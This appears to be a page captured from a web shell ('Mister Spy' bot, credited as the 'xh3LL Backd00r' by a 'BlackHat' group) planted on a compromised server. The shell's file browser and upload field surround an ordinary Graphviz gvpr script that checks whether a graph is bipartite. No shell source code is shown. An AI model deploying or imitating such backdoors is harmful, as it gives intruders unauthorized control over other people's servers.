Mister Spy Say ="Hello Kids ... :D"
 
 
     ___  ____     _              _____
    |  \/  (_)   | |            /  ___|
               | .  . |_ ___| |_ ___ _ __  \ `--. _ __  _   _
                | |\/| | / __| __/ _ \ '__|  `--. \ '_ \| | | |
                | |  | | \__ \ ||  __/ |    /\__/ / |_) | |_| |
                \_|  |_/_|___/\__\___|_|    \____/| .__/ \__, |
                                                 | |     __/ |
                                                 |_|    |___/
                                       Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /usr/share/graphviz/gvpr/
Upload File :
Current File : //usr/share/graphviz/gvpr/bipart

/* Determine if a graph is bipartite or not.
 */
BEG_G{
  int vc, c, color[node_t];
  node_t v;
  edge_t e;
  $tvtype = TV_dfs;
  $tvroot = fstnode($);
}
N{
  if ($tvedge == NULL)
    color[$] = 1;
  if (color[$] == 1)
    c = 2;
  else
    c = 1;
  for (e = fstedge($); e; e = nxtedge(e,$)) {
    v = opp(e,$);
    vc = color[v];
    if (vc == 0)
      color[v] = c;
    else if (vc != c) {
      printf(2, "Not bipartite\n");
      exit(1);
    }
  }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat